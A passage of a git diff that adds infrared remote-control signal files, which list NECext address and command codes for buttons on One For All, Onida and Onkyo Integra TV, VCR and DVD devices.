60 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 71 00 00 00 +command: 61 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 71 00 00 00 +command: 62 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 71 00 00 00 +command: 63 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 71 00 00 00 +command: 64 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 71 00 00 00 +command: 65 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 71 00 00 00 +command: 68 00 00 00 +# +name: TV/VID +type: parsed +protocol: NECext +address: 71 00 00 00 +command: 69 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 71 00 00 00 +command: 6A 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 71 00 00 00 +command: 6F 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 71 00 00 00 +command: 70 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 71 00 00 00 +command: 81 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_control-Philips-0081d/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_control-Philips-0081d/0,-1.ir new file mode 100644 index 000000000..126ae9b00 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_control-Philips-0081d/0,-1.ir @@ -0,0 +1,224 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 20 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 21 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 22 00 00 00 +# +name: text-hold +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 29 00 00 00 +# +name: text-double +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2B 00 00 00 +# +name: text-x +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2D 00 00 00 +# +name: text-trans +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2E 00 00 00 +# +name: av +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 38 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3C 00 00 00 +# +name: text-off +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3F 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 50 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 51 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 52 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 55 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 56 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 57 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6B 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6C 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6D 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6E 00 00 00 +# +name: text-index +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6F 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 7E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_ofa-urc-7550-vcr0150/5,-1.ir b/assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_ofa-urc-7550-vcr0150/5,-1.ir new file mode 100644 index 000000000..a9ea65c46 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_ofa-urc-7550-vcr0150/5,-1.ir @@ -0,0 +1,188 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 09 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0A 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0D 00 00 00 +# +name: auto +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0E 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 11 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1D 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 20 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 20 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 21 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 21 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 29 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 32 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 34 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 35 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 36 00 00 00 +# +name: yeloww +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 37 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 3A 00 00 00 +# +name: Av +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 3E 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 55 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 56 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_urc7562/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_urc7562/0,-1.ir new file mode 100644 index 000000000..ca8b0c395 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_urc7562/0,-1.ir @@ -0,0 +1,188 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 20 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 21 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 29 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2B 00 00 00 +# +name: AV +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 38 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3C 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3F 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 50 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 51 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 52 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 55 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 56 00 00 00 +# +name: SP/LP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6B 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6C 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6D 00 00 00 +# +name: AUTO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_urc7730/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_urc7730/0,-1.ir new file mode 100644 index 000000000..4c0510762 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_urc7730/0,-1.ir @@ -0,0 +1,206 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: KEY_102ND +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 20 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 21 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 29 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2B 00 00 00 +# +name: AV +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 38 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3C 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3F 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 50 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 51 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 52 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 53 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 55 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 56 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 57 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6B 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6C 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6D 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6E 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 7E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Onida/Unknown_DFX/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Onida/Unknown_DFX/0,-1.ir new file mode 100644 index 000000000..6fff1251f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Onida/Unknown_DFX/0,-1.ir @@ -0,0 +1,290 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_EJECTCD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 13 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 16 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 17 00 00 00 +# +name: SHUFFLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 18 00 00 00 +# +name: PROG +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 19 00 00 00 +# +name: GOTO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1A 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1B 00 00 00 +# +name: RIRIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1C 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1C 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1D 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1E 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1F 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 40 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 42 00 00 00 +# +name: A-B +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 43 00 00 00 +# +name: PROSCAN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 46 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 47 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 48 00 00 00 +# +name: PAL/NTSC +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 49 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 49 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4C 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4D 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4E 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 50 00 00 00 +# +name: RWND +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 54 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 55 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 58 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 59 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5C 00 00 00 +# +name: FRAME +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Onida/Unknown_TVE/3,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Onida/Unknown_TVE/3,-1.ir new file mode 100644 index 000000000..672930491 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Onida/Unknown_TVE/3,-1.ir @@ -0,0 +1,170 @@ +Filetype: IR signals file +Version: 1 +# +name: sleep-timer +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 03 00 00 00 +# +name: display +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 04 00 00 00 +# +name: tv-video +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 13 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 17 00 00 00 +# +name: chdn +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 18 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 19 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1C 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1E 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1F 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 20 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 21 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 22 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 23 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 24 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 25 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 26 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 27 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 28 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 29 00 00 00 +# +name: surround +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 42 00 00 00 +# +name: picsnd-up +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 5A 00 00 00 +# +name: picsnd-dn +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 5B 00 00 00 +# +name: vsm +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 79 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 7A 00 00 00 +# +name: picture-sound +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 7B 00 00 00 +# +name: ssm +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 90 00 00 00 +# +name: color-system +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 92 00 00 00 +# +name: digits +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 9D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Onkyo Integra/DVD Changer/210,43.ir b/assets/resources/infrared/_CSV-IRDB_/Onkyo Integra/DVD Changer/210,43.ir new file mode 100644 index 000000000..24b4d03c6 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Onkyo Integra/DVD Changer/210,43.ir @@ -0,0 +1,302 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 04 00 00 00 +# +name: OPEN/CLOSE +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 05 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 06 00 00 00 +# +name: ANGLE +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 07 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 08 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 09 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 0A 00 00 00 +# +name: SLOW_MOTION_> +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 0B 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 0C 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 0D 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 0E 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 0F 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 10 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 11 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 12 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 13 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 14 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 15 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 16 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 17 00 00 00 +# +name: 10+ +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 18 00 00 00 +# +name: SEARCH +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 19 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 1B 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 1C 00 00 00 +# +name: CHAPTER_+ +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 1D 00 00 00 +# +name: CHAPTER_- +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 1E 00 00 00 +# +name: A-B +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 45 00 00 00 +# +name: DIMMER +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 46 00 00 00 +# +name: ZOOM +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 48 00 00 00 +# +name: MEMORY +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 4A 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 4B 00 00 00 +# +name: SET-UP +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 4D 00 00 00 +# +name: TITLE +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 4E 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 4F 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 50 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 51 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 52 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 53 00 00 00 +# +name: SUBTITLE_ON/OFF +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 56 00 00 00 +# +name: SLOW_MOTION_< +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 8F 00 00 00 +# +name: NEXT_SELECTION +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 90 00 00 00 +# +name: CD_MODE +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: D2 00 00 00 +# +name: DISC_+ +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: D3 00 00 00 +# +name: DISC_- +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: D4 00 00 00 +# +name: DISC_1 +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: D5 00 00 00 +# +name: DISC_2 +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: D6 00 00 00 +# +name: DISC_3 +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: D7 00 00 00 +# +name: DISC_4 +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: D8 00 00 00 +# +name: DISC_5 +type: parsed 